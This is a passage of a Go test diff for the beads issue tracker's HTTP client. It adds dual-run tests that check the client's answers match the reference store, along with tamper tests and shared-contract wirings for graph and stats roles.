{ + t.Errorf("reference GetDependenciesWithMetadata on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetDependentsWithMetadata(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetDependentsWithMetadata on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetIssueComments(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetIssueComments on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetDependencyRecords(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetDependencyRecords on a miss = (%v, %v), want (nil, nil)", got, err) + } +} + +// TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim is L17's dual run: the +// question the flip of GetDependencyRecords waited on. +// +// `bd dep remove`'s GH#5005 guard (exactDependencyTarget) reads the raw +// dependency rows and matches DependsOnID against the bare target the user typed, +// so a wrong-edge deletion is prevented only if an UNRESOLVED depends_on_id — +// one the database cannot resolve to any issue — is surfaced verbatim rather than +// dropped or normalized. This seeds exactly such a row (an external reference the +// workspace holds no issue for) beside a normal edge and compares the client's +// GetDependencyRecords against the reference's. If the unresolved row survives +// the wire whole, there is no divergence to ledger — which is the outcome this +// asserts and which retired L17. +func TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim(t *testing.T) { + e := newServedEnv(t, "drx") + ctx := t.Context() + + for _, row := range []*types.Issue{ + {ID: "drx-src", Title: "source", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "drx-tgt", Title: "a real target", Status: types.StatusOpen, IssueType: types.TypeTask}, + } { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + // A normal, resolvable edge, and an UNRESOLVED one whose target names no + // issue this workspace holds — the shape the guard exists to see. The + // external reference routes into depends_on_external and skips the target + // existence check, so it is stored verbatim exactly as the pre-GH#5005 bare + // slug was. + for _, edge := range []*types.Dependency{ + {IssueID: "drx-src", DependsOnID: "drx-tgt", Type: types.DepBlocks}, + {IssueID: "drx-src", DependsOnID: "external:ghost-slug", Type: types.DepRelated}, + } { + if err := e.addDependency(ctx, edge, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", edge.IssueID, edge.DependsOnID, err) + } + } + + want, err := e.reference.GetDependencyRecords(ctx, "drx-src") + if err != nil { + t.Fatalf("reference GetDependencyRecords: %v", err) + } + got, err := e.subject.GetDependencyRecords(ctx, "drx-src") + if err != nil { + t.Fatalf("http GetDependencyRecords: %v", err) + } + + // The reference is the oracle: assert the fixture really produced the + // unresolved row before comparing, so a fixture that stopped seeding it + // cannot make the parity pass vacuously. + var haveUnresolved bool + for _, r := range want { + if r.DependsOnID == "external:ghost-slug" { + haveUnresolved = true + } + } + if len(want) != 2 || !haveUnresolved { + t.Fatalf("the REFERENCE answered %+v, want two records including the unresolved external:ghost-slug", want) + } + + sortRecords(want) + sortRecords(got) + assertSameJSON(t, "GetDependencyRecords over an unresolved target", want, got) +} diff --git a/internal/httpclient/served_dualrun_test.go b/internal/httpclient/served_dualrun_test.go new file mode 100644 index 000000000..b13137f2a --- /dev/null +++ b/internal/httpclient/served_dualrun_test.go @@ -0,0 +1,495 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_dualrun_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "encoding/json" + "errors" + "slices" + "strconv" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// Dual runs: the same store call, answered twice. +// +// Once by the reference store's own role, and once by the http client through +// the server that serves that very store. The two answers have to agree, and +// they are compared as the BYTES a caller receives rather than as a row count — +// `bd show --json` and `bd list --json` marshal these exact structs, so a field +// the wire round trip dropped or reshaped is a user-visible divergence even +// when the row set is right. +// +// The pair is the whole point. Every other test in this package asserts against +// values a human wrote down, which can only catch what that human thought to +// check; this one asserts against the local answer, which is the thing the +// backend is actually promising to reproduce. + +func dualRunFixture(t *testing.T, name string) (*servedComposition, issueops.Reader, issueops.Reader, string) { + t.Helper() + ctx := t.Context() + c, remote := servedReader(t) + local, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + + scope := servedIssuePrefix + "-dual-" + name + base := time.Now().UTC().Truncate(time.Second).Add(-3 * time.Hour) + for i, seed := range []struct { + tag string + priority int + }{{"a", 2}, {"b", 0}, {"c", 1}} { + id := scope + "-" + seed.tag + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), seed.priority) + } + // One edge and one comment, so the detail view and the cardinalities are + // nonzero on at least one row: a dual run over rows with nothing hanging off + // them cannot see a projection that drops a list. + if err := c.seedDependency(ctx, &types.Dependency{ + IssueID: scope + "-a", DependsOnID: scope + "-b", Type: types.DepBlocks, + }, "seed"); err != nil { + t.Fatalf("seed the edge: %v", err) + } + if err := c.seedComment(ctx, scope+"-a", "seed", "a comment the detail view carries"); err != nil { + t.Fatalf("seed the comment: %v", err) + } + return c, local, remote, scope +} + +func assertSameJSON(t *testing.T, what string, local, remote any) { + t.Helper() + wantBytes, err := json.Marshal(local) + if err != nil { + t.Fatalf("marshal the reference answer for %s: %v", what, err) + } + gotBytes, err := json.Marshal(remote) + if err != nil { + t.Fatalf("marshal the http answer for %s: %v", what, err) + } + if string(wantBytes) != string(gotBytes) { + t.Errorf("%s diverges\n http: %s\n local: %s", what, gotBytes, wantBytes) + } +} + +// TestDualRunReaderAgreesWithTheReferenceStore is the smoke the composition +// exists for: Ready, List and Get answered by both, byte for byte. +func TestDualRunReaderAgreesWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + _, local, remote, scope := dualRunFixture(t, "reader") + + ready := issueops.ReadyRequest{Labels: []string{scope}, Sort: "priority", Limit: ptrTo(0)} + wantReady, err := local.Ready(ctx, ready) + if err != nil { + t.Fatalf("reference Ready: %v", err) + } + gotReady, err := remote.Ready(ctx, ready) + if err != nil { + t.Fatalf("http Ready: %v", err) + } + assertSameJSON(t, "Reader.Ready", wantReady, gotReady) + + for _, sortBy := range []string{"", "created", "priority", "id"} { + list := issueops.ListRequest{Labels: []string{scope}, SortBy: sortBy, Limit: ptrTo(0)} + wantList, err := local.List(ctx, list) + if err != nil { + t.Fatalf("reference List (sort %q): %v", sortBy, err) + } + gotList, err := remote.List(ctx, list) + if err != nil { + t.Fatalf("http List (sort %q): %v", sortBy, err) + } + assertSameJSON(t, "Reader.List (sort "+sortBy+")", wantList, gotList) + } + + for _, get := range []issueops.GetRequest{ + {ID: scope + "-a"}, + {ID: scope + "-a", IncludeDependents: true, IncludeComments: true}, + {ID: scope + "-b", IncludeDependents: true}, + } { + wantGet, err := local.Get(ctx, get) + if err != nil { + t.Fatalf("reference Get(%+v): %v", get, err) + } + gotGet, err := remote.Get(ctx, get) + if err != nil { + t.Fatalf("http Get(%+v): %v", get, err) + } + assertSameJSON(t, "Reader.Get", wantGet, gotGet) + } +} + +// TestDualRunCloseHistoryAgreesWithTheReferenceStore is the write-side dual run: +// the same multi-item batch close, answered once by the reference store's own +// BatchCloser and once by the http client through the server that serves it. +// +// It is the atomicity claim spelled as a comparison. Serving a batch close on ONE +// issues:batchClose call rather than a loop of closeIssue exists to keep the +// request's one-transaction/at-most-one-history-entry contract, and only a dual +// run against the local answer can show the wire round trip did not quietly turn +// N closes into N entries. Two mirror batches are seeded so each door closes its +// own, and both the durable history footprint and the per-item outcome shapes +// have to agree. +func TestDualRunCloseHistoryAgreesWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, _, _, scope := dualRunFixture(t, "closehist") + + localCloser, err := c.reference.BatchCloser() + if err != nil { + t.Fatalf("reference BatchCloser(): %v", err) + } + remoteCloser, err := c.client.BatchCloser() + if err != nil { + t.Fatalf("http BatchCloser(): %v", err) + } + + seed := func(prefix string, n int) []issueops.BatchCloseItem { + items := make([]issueops.BatchCloseItem, n) + for i := range items { + id := scope + "-" + prefix + "-" + strconv.Itoa(i) + issue := &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, + IssueType: types.TypeTask, Labels: []string{scope}, + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + items[i] = issueops.BatchCloseItem{IssueID: id, Reason: "done"} + } + return items + } + // Both mirror batches are seeded up front, so the only history the deltas + // below can see is the close each door makes. + localItems := seed("local", 3) + remoteItems := seed("remote", 3) + + closeAndCount := func(name string, closer issueops.BatchCloser, items []issueops.BatchCloseItem) (issueops.CloseBatchResult, int) { + before, err := c.countHistory(ctx) + if err != nil { + t.Fatalf("%s history before: %v", name, err) + } + res, err := closer.CloseBatch(ctx, issueops.CloseBatchRequest{Actor: "closer", Items: items, Session: "s"}) + if err != nil { + t.Fatalf("%s CloseBatch: %v", name, err) + } + after, err := c.countHistory(ctx) + if err != nil { + t.Fatalf("%s history after: %v", name, err) + } + return res, after - before + } + + localRes, localDelta := closeAndCount("reference", localCloser, localItems) + remoteRes, remoteDelta := closeAndCount("http", remoteCloser, remoteItems) + + // The load-bearing parity: the wire round trip records the same durable + // footprint the local batch does. A loop of closeIssue would show up here as + // three entries against the reference's one. + if remoteDelta != localDelta { + t.Errorf("history delta diverges: the http batch close wrote %d entries, the reference wrote %d for the same batch shape", + remoteDelta, localDelta) + } + // And the shape that parity is measured against: one transaction, at most one + // entry, for a batch where every item landed. + if localDelta != 1 { + t.Errorf("a %d-item reference batch recorded %d history entries, want exactly one (batchcloser.go's atomicity clause)", + len(localItems), localDelta) + } + + assertBatchOutcomesAgree(t, localRes, remoteRes) +} + +// assertBatchOutcomesAgree compares two batch results that closed mirror issue +// sets. The ids differ by construction, so the comparison is structural: the +// same count, the same landed/refused verdict per index, and the same Changed +// and OpenChildren — the fields a wire round trip could drop or reshape. +func assertBatchOutcomesAgree(t *testing.T, local, remote issueops.CloseBatchResult) { + t.Helper() + if len(local.Outcomes) != len(remote.Outcomes) { + t.Fatalf("outcome counts diverge: reference %d, http %d", len(local.Outcomes), len(remote.Outcomes)) + } + for i := range local.Outcomes { + l, r := local.Outcomes[i], remote.Outcomes[i] + if (l.Err == nil) != (r.Err == nil) { + t.Errorf("outcome %d: reference err=%v, http err=%v — the landed/refused verdict diverges", i, l.Err, r.Err) + continue + } + if (l.Issue == nil) != (r.Issue == nil) { + t.Errorf("outcome %d: reference issue-present=%t, http issue-present=%t", i, l.Issue != nil, r.Issue != nil) + } + if l.Changed != r.Changed { + t.Errorf("outcome %d: reference Changed=%t, http Changed=%t", i, l.Changed, r.Changed) + } + if l.OpenChildren != r.OpenChildren { + t.Errorf("outcome %d: reference OpenChildren=%d, http OpenChildren=%d", i, l.OpenChildren, r.OpenChildren) + } + } + if (local.ClaimedNext == nil) != (remote.ClaimedNext == nil) { + t.Errorf("ClaimedNext presence diverges: reference=%t, http=%t", local.ClaimedNext != nil, remote.ClaimedNext != nil) + } +} + +// TestDualRunQuerierAndReadyCounterAgreeWithTheReferenceStore is the same smoke +// for the other two roles this bead flipped. +func TestDualRunQuerierAndReadyCounterAgreeWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, _, _, scope := dualRunFixture(t, "roles") + + localQuerier, err := c.reference.Querier() + if err != nil { + t.Fatalf("reference Querier(): %v", err) + } + remoteQuerier, err := c.client.Querier() + if err != nil { + t.Fatalf("http Querier(): %v", err) + } + for _, req := range []issueops.QueryRequest{ + {Expression: "type=task AND label=" + scope, Limit: ptrTo(0)}, + {Expression: "(type=task OR type=bug) AND label=" + scope, SortBy: "priority", Limit: ptrTo(0)}, + {Expression: "(type=task OR type=bug) AND label=" + scope, SortBy: "priority", Reverse: true, Limit: ptrTo(2)}, + } { + want, err := localQuerier.Query(ctx, req) + if err != nil { + t.Fatalf("reference Query(%q): %v", req.Expression, err) + } + got, err := remoteQuerier.Query(ctx, req) + if err != nil { + t.Fatalf("http Query(%q): %v", req.Expression, err) + } + assertSameJSON(t, "Querier.Query("+req.Expression+")", want, got) + } + + localCounter, err := c.reference.ReadyCounter() + if err != nil { + t.Fatalf("reference ReadyCounter(): %v", err) + } + remoteCounter, err := c.client.ReadyCounter() + if err != nil { + t.Fatalf("http ReadyCounter(): %v", err) + } + req := issueops.ReadyRequest{Labels: []string{scope}, Sort: "priority"} + want, err := localCounter.CountReady(ctx, req) + if err != nil { + t.Fatalf("reference CountReady: %v", err) + } + got, err := remoteCounter.CountReady(ctx, req) + if err != nil { + t.Fatalf("http CountReady: %v", err) + } + assertSameJSON(t, "ReadyCounter.CountReady", want, got) +} + +// TestDualRunIDResolutionProbesAgreeWithTheReferenceStore covers D11's three +// store probes as ResolvePartialID makes them: the exact-ids fast path, the two +// prefix config reads, and the substring pass that has no wire operation. +func TestDualRunIDResolutionProbesAgreeWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, _, _, scope := dualRunFixture(t, "resolve") + present, absent := scope+"-a", scope+"-never-seeded" + + // The shapeless filter — neither an id set nor a parent — is the unbounded + // "everything" question, and it refuses rather than answering it. + if _, err := c.client.SearchIssues(ctx, "", types.IssueFilter{}); err == nil { + t.Error("a shapeless SearchIssues answered instead of refusing") + } else if !errors.Is(err, encode.ErrRefused) { + t.Errorf("a shapeless SearchIssues refused with %v, want the encoder's ledgered refusal", err) + } + + for _, ids := range [][]string{{present}, {absent}, {present, absent}} { + filter := types.IssueFilter{IDs: ids} + want, err := c.reference.SearchIssues(ctx, "", filter) + if err != nil { + t.Fatalf("reference SearchIssues(%v): %v", ids, err) + } + got, err := c.client.SearchIssues(ctx, "", filter) + if err != nil { + t.Fatalf("http SearchIssues(%v): %v", ids, err) + } + if len(got) != len(want) { + t.Fatalf("SearchIssues(%v) returned %d rows, reference returned %d", ids, len(got), len(want)) + } + for i := range want { + assertSameJSON(t, "SearchIssues row", want[i], got[i]) + } + } + + // The exact-hit fast path is the one ResolvePartialID reads as `err == nil && + // len(issues) > 0`, and the exact MISS has to be an empty result with a NIL + // error or resolution stops where it should fall through. + miss, err := c.client.SearchIssues(ctx, "", types.IssueFilter{IDs: []string{absent}}) + if err != nil || len(miss) != 0 { + t.Errorf("SearchIssues on an exact miss = (%d rows, %v), want (0, nil): a 404 is the empty result the resolver expects", len(miss), err) + } + + // The prefix probes. + if err := c.reference.SetConfig(ctx, "allowed_prefixes", "bd,http"); err != nil { + t.Fatalf("seed allowed_prefixes: %v", err) + } + // "no-such-setting" rather than "no-such-key": the server redacts by KEY + // SPELLING, and anything containing "key" is one of the spellings it treats + // as credential-bearing — which is ledger row L9 and is asserted on its own + // below, not by accident here. + for _, key := range []string{"issue_prefix", "allowed_prefixes", "no-such-setting"} { + want, err := c.reference.GetConfig(ctx, key) + if err != nil { + t.Fatalf("reference GetConfig(%q): %v", key, err) + } + got, err := c.client.GetConfig(ctx, key) + if err != nil { + t.Fatalf("http GetConfig(%q): %v", key, err) + } + if got != want { + t.Errorf("GetConfig(%q) = %q, reference answered %q", key, got, want) + } + } + + // Ledger row L9: a credential-bearing key is absent WITH A REASON rather than + // absent as an empty string. The server decides redaction from the key alone, + // so this holds whether or not the workspace stores anything under it — and + // "" would be a dropped read dressed as an unset key. + if _, err := c.client.GetConfig(ctx, "some.api_key"); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetConfig on a credential-bearing key = %v, want the withheld-with-reason refusal", err) + } + + // The substring pass. It has no wire operation, and the refusal is D11's own + // text rather than a bare sentinel, because the input may be a partial id OR + // a full id that does not exist and the client cannot tell which. + _, err = c.client.SearchIssues(ctx, "partial", types.IssueFilter{}) + var partial *PartialIDSearchError + if !errors.As(err, &partial) { + t.Fatalf("a substring SearchIssues = %v, want *PartialIDSearchError", err) + } + if partial.Input != "partial" || partial.ServerURL != c.baseURL { + t.Errorf("the refusal names input %q on server %q, want %q on %q", partial.Input, partial.ServerURL, "partial", c.baseURL) + } + if !errors.Is(err, ErrPartialIDSearch) { + t.Errorf("the refusal does not classify as ErrPartialIDSearch: %v", err) + } +} + +// TestTheCompositionCatchesAWrongParameter is the RED evidence. +// +// Each arm rewrites one correctly encoded request into a subtly wrong one and +// asserts the composition NOTICES. Without them every green test in this file +// would be equally green against a client that dropped a filter, because a +// dropped filter answers with MORE rows and every assertion here is written +// against rows that exist. +func TestTheCompositionCatchesAWrongParameter(t *testing.T) { + ctx := t.Context() + c, _, remote, scope := dualRunFixture(t, "tamper") + + honest, err := remote.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("the honest List: %v", err) + } + if len(honest.Items) != 3 { + t.Fatalf("the honest List returned %v, want the three rows this case seeded", pageIDs(honest)) + } + + t.Run("a dropped filter widens the answer", func(t *testing.T) { + // Its own row outside the scope, so the unfiltered answer is wider + // whatever else the shared composition holds. Without it the case + // leaned on rows earlier tests had seeded: run alone, or first in its + // shard, the scope's three rows were the whole workspace, and dropping + // the filter answered the same. + outside := &types.Issue{ + ID: scope + "-outside", Title: "outside", Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Labels: []string{scope + "-outside"}, CreatedAt: time.Now().UTC(), + } + if err := c.seedIssue(ctx, outside, "seed"); err != nil { + t.Fatalf("seed %s: %v", outside.ID, err) + } + dropped := c.tamperedClient(t, func(req *wire.Request) { req.Query.Del("label") }) + reader, err := dropped.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List with the label parameter dropped: %v", err) + } + if slices.Equal(pageIDs(page), pageIDs(honest)) { + t.Fatal("dropping the `label` parameter changed nothing: this composition cannot see a dropped filter, " + + "which is the one failure class no server-side gate can observe") + } + }) + + t.Run("a misspelled parameter is refused rather than ignored", func(t *testing.T) { + misspelled := c.tamperedClient(t, func(req *wire.Request) { + if req.Query.Has("include_comments") { + req.Query.Del("include_comments") + req.Query.Set("includeComments", "true") + } + }) + reader, err := misspelled.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + _, err = reader.Get(ctx, issueops.GetRequest{ID: scope + "-a", IncludeComments: true}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("a misspelled parameter = %v, want the server's unknown_parameter refusal", err) + } + var problem *wire.ProblemError + if !errors.As(err, &problem) || problem.Reason != "unknown_parameter" { + t.Errorf("the refusal is %v, want reason \"unknown_parameter\" — the signal D7's case-3 text is built from", err) + } + }) + + t.Run("a wrong sort policy answers a different order", func(t *testing.T) { + // Its own rows, chosen so the two policies DISAGREE: the newer row is + // the higher priority, so `priority` leads with it and `oldest` leads + // with the other. Against rows where the orders coincide, a client that + // sent the wrong policy would be invisible — which is the whole reason + // the encoder sends a concrete policy rather than omitting an empty one. + sortScope := scope + "-sort" + now := time.Now().UTC() + urgent := &types.Issue{ + ID: sortScope + "-urgent", Title: "urgent", Status: types.StatusOpen, Priority: 0, + IssueType: types.TypeTask, Labels: []string{sortScope}, CreatedAt: now.Add(-time.Hour), + } + ancient := &types.Issue{ + ID: sortScope + "-ancient", Title: "ancient", Status: types.StatusOpen, Priority: 3, + IssueType: types.TypeTask, Labels: []string{sortScope}, CreatedAt: now.Add(-90 * 24 * time.Hour), + } + for _, issue := range []*types.Issue{urgent, ancient} { + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + req := issueops.ReadyRequest{Labels: []string{sortScope}, Sort: "priority", Limit: ptrTo(0)} + honestReady, err := remote.Ready(ctx, req) + if err != nil { + t.Fatalf("the honest Ready: %v", err) + } + if want := []string{urgent.ID, ancient.ID}; !slices.Equal(pageIDs(honestReady), want) { + t.Fatalf("the honest Ready --sort priority = %v, want %v", pageIDs(honestReady), want) + } + + flipped := c.tamperedClient(t, func(req *wire.Request) { + if req.Query.Get("sort") == "priority" { + req.Query.Set("sort", "oldest") + } + }) + reader, err := flipped.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + tamperedReady, err := reader.Ready(ctx, req) + if err != nil { + t.Fatalf("Ready with the sort policy rewritten: %v", err) + } + if slices.Equal(pageIDs(honestReady), pageIDs(tamperedReady)) { + t.Fatalf("rewriting `sort` changed nothing (%v): the ready policy this client sends is unobservable here", + pageIDs(honestReady)) + } + }) +} diff --git a/internal/httpclient/served_graph_aux_test.go b/internal/httpclient/served_graph_aux_test.go new file mode 100644 index 000000000..ce8ac1954 --- /dev/null +++ b/internal/httpclient/served_graph_aux_test.go @@ -0,0 +1,255 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_graph_aux_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The per-role contract wirings for the graph and aux read roles. +// +// Every case here is the SHARED contract, unmodified: the same function the +// embedded-Dolt and unit-of-work backends run, bound to a fixture whose subject +// is the http client and whose seed hooks come off the reference store the +// server serves. A case that passes has proved the behavior ACROSS THE WIRE +// rather than proving the client agrees with itself. +// +// NOTHING IS PARKED IN THIS FILE, and that is worth saying because an earlier +// revision parked thirteen cases. The two hooks they needed — Exec, for seeding +// a cycle past every gate, and CountHistory, for the writes-nothing clause — are +// raw SQL, and holding a SQL handle open alongside the live server deadlocks the +// engine. servedEnv opens one PER CALL and closes it, which is what the embedded +// backend's own frozen fixture kit does, so both hooks are real here and every +// case runs. + +func TestServedCycleDetectorContract(t *testing.T) { + e := newServedEnv(t, "cyc") + detector, err := e.subject.CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + fixture := conformance.CycleDetectorFixture{ + IssuePrefix: "cyc", + Detector: detector, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + Exec: e.exec, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.CycleDetectorFixture) + }{ + {"ReportsNoCycleForAnAcyclicSubgraph", conformance.RunCycleDetectorReportsNoCycleForAnAcyclicSubgraph}, + {"FindsADurableCycleRotatedToItsLowestID", conformance.RunCycleDetectorFindsADurableCycleRotatedToItsLowestID}, + {"ReportsTheSameCyclesEveryRun", conformance.RunCycleDetectorReportsTheSameCyclesEveryRun}, + {"MergesTheDurableAndEphemeralPlanes", conformance.RunCycleDetectorMergesTheDurableAndEphemeralPlanes}, + {"FollowsOnlyBlockingEdges", conformance.RunCycleDetectorFollowsOnlyBlockingEdges}, + {"ReportsAnHonestPartial", conformance.RunCycleDetectorReportsAnHonestPartial}, + {"CountsAWhollyUndescribableCycle", conformance.RunCycleDetectorCountsAWhollyUndescribableCycle}, + {"WritesNothing", conformance.RunCycleDetectorWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +func TestServedTreeWalkerContract(t *testing.T) { + e := newServedEnv(t, "tre") + walker, err := e.subject.TreeWalker() + if err != nil { + t.Fatalf("TreeWalker(): %v", err) + } + fixture := conformance.TreeWalkerFixture{ + IssuePrefix: "tre", + TreeWalker: walker, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + Exec: e.exec, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.TreeWalkerFixture) + }{ + {"WalksTheDependenciesOfARoot", conformance.RunTreeWalkerWalksTheDependenciesOfARoot}, + {"WalksDependentsWhenAskedUp", conformance.RunTreeWalkerWalksDependentsWhenAskedUp}, + {"BoundsTheDescentAtMaxDepth", conformance.RunTreeWalkerBoundsTheDescentAtMaxDepth}, + {"TerminatesOnACycle", conformance.RunTreeWalkerTerminatesOnACycle}, + {"RendersASharedSubtreeOnce", conformance.RunTreeWalkerRendersASharedSubtreeOnce}, + {"MergesTheDurableAndEphemeralPlanes", conformance.RunTreeWalkerMergesTheDurableAndEphemeralPlanes}, + {"FollowsEveryTypeButRelatesTo", conformance.RunTreeWalkerFollowsEveryTypeButRelatesTo}, + {"PrunesEachHalfOfABothWalk", conformance.RunTreeWalkerPrunesEachHalfOfABothWalk}, + {"AnswersBothDirectionsWithTheRootOnce", conformance.RunTreeWalkerAnswersBothDirectionsWithTheRootOnce}, + {"PrunesByStatusKeepingAncestors", conformance.RunTreeWalkerPrunesByStatusKeepingAncestors}, + {"PrunesEverythingWhenNothingMatches", conformance.RunTreeWalkerPrunesEverythingWhenNothingMatches}, + {"AnswersARootWithNoEdges", conformance.RunTreeWalkerAnswersARootWithNoEdges}, + {"RefusesAnAbsentRoot", conformance.RunTreeWalkerRefusesAnAbsentRoot}, + {"ResolvesTheRootIDExactly", conformance.RunTreeWalkerResolvesTheRootIDExactly}, + {"CrossesPlanesFromAWispRootAndUpward", conformance.RunTreeWalkerCrossesPlanesFromAWispRootAndUpward}, + {"RefusesAnInvalidRequest", conformance.RunTreeWalkerRefusesAnInvalidRequest}, + {"RefusesAWalkOverTheRowCap", conformance.RunTreeWalkerRefusesAWalkOverTheRowCap}, + {"WritesNothing", conformance.RunTreeWalkerWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +func TestServedEdgeReaderContract(t *testing.T) { + e := newServedEnv(t, "edg") + reader, err := e.subject.EdgeReader() + if err != nil { + t.Fatalf("EdgeReader(): %v", err) + } + fixture := conformance.EdgeReaderFixture{ + IssuePrefix: "edg", + EdgeReader: reader, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.EdgeReaderFixture) + }{ + {"AnswersOnePerAnchorInRequestOrder", conformance.RunEdgeReaderAnswersOnePerAnchorInRequestOrder}, + {"ReportsAMissingAnchorRatherThanFailing", conformance.RunEdgeReaderReportsAMissingAnchorRatherThanFailing}, + {"DistinguishesNoEdgesFromNoAnchor", conformance.RunEdgeReaderDistinguishesNoEdgesFromNoAnchor}, + {"ReturnsTargetsVerbatim", conformance.RunEdgeReaderReturnsTargetsVerbatim}, + {"CollapsesRepeatedAnchors", conformance.RunEdgeReaderCollapsesRepeatedAnchors}, + {"OrdersEdgesByTarget", conformance.RunEdgeReaderOrdersEdgesByTarget}, + {"FiltersEdgesNotAnchors", conformance.RunEdgeReaderFiltersEdgesNotAnchors}, + {"ReadsBothPlanes", conformance.RunEdgeReaderReadsBothPlanes}, + {"ResolvesExactIDsOnly", conformance.RunEdgeReaderResolvesExactIDsOnly}, + {"AnswersAnEmptyRequest", conformance.RunEdgeReaderAnswersAnEmptyRequest}, + {"RefusesAnEmptyID", conformance.RunEdgeReaderRefusesAnEmptyID}, + {"RefusesAnUnusableType", conformance.RunEdgeReaderRefusesAnUnusableType}, + {"LeavesTheRequestAlone", conformance.RunEdgeReaderLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunEdgeReaderWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +func TestServedBlockingAnnotatorContract(t *testing.T) { + e := newServedEnv(t, "blk") + annotator, err := e.subject.BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator(): %v", err) + } + fixture := conformance.BlockingAnnotatorFixture{ + IssuePrefix: "blk", + Annotator: annotator, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.BlockingAnnotatorFixture) + }{ + {"AnswersOnePerIDInRequestOrder", conformance.RunBlockingAnnotatorAnswersOnePerIDInRequestOrder}, + {"CollapsesRepeatedIDs", conformance.RunBlockingAnnotatorCollapsesRepeatedIDs}, + {"ReportsOpenBlockersOnly", conformance.RunBlockingAnnotatorReportsOpenBlockersOnly}, + {"ReportsTheInboundDirection", conformance.RunBlockingAnnotatorReportsTheInboundDirection}, + {"SeparatesParentFromBlockers", conformance.RunBlockingAnnotatorSeparatesParentFromBlockers}, + {"DropsAClosedParent", conformance.RunBlockingAnnotatorDropsAClosedParent}, + {"OrdersAndCollapsesEachList", conformance.RunBlockingAnnotatorOrdersAndCollapsesEachList}, + {"CountsAnUnresolvableBlockerAsOpen", conformance.RunBlockingAnnotatorCountsAnUnresolvableBlockerAsOpen}, + {"ReadsBothPlanes", conformance.RunBlockingAnnotatorReadsBothPlanes}, + {"IgnoresNonBlockingEdgeTypes", conformance.RunBlockingAnnotatorIgnoresNonBlockingEdgeTypes}, + {"AnnotatesAnAbsentIDBare", conformance.RunBlockingAnnotatorAnnotatesAnAbsentIDBare}, + {"ResolvesExactIDsOnly", conformance.RunBlockingAnnotatorResolvesExactIDsOnly}, + {"ReportsAtMostOneParent", conformance.RunBlockingAnnotatorReportsAtMostOneParent}, + {"AnswersAnEmptyRequest", conformance.RunBlockingAnnotatorAnswersAnEmptyRequest}, + {"RefusesAnEmptyID", conformance.RunBlockingAnnotatorRefusesAnEmptyID}, + {"LeavesTheRequestAlone", conformance.RunBlockingAnnotatorLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunBlockingAnnotatorWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +// TestServedStatsReporterContract runs its cases SEQUENTIALLY against one store, +// which the contract requires: the workspace-wide cases assert before/after +// DELTAS rather than absolutes, so a concurrent writer would make them read each +// other's rows. +func TestServedStatsReporterContract(t *testing.T) { + e := newServedEnv(t, "sts") + reporter, err := e.subject.StatsReporter() + if err != nil { + t.Fatalf("StatsReporter(): %v", err) + } + fixture := 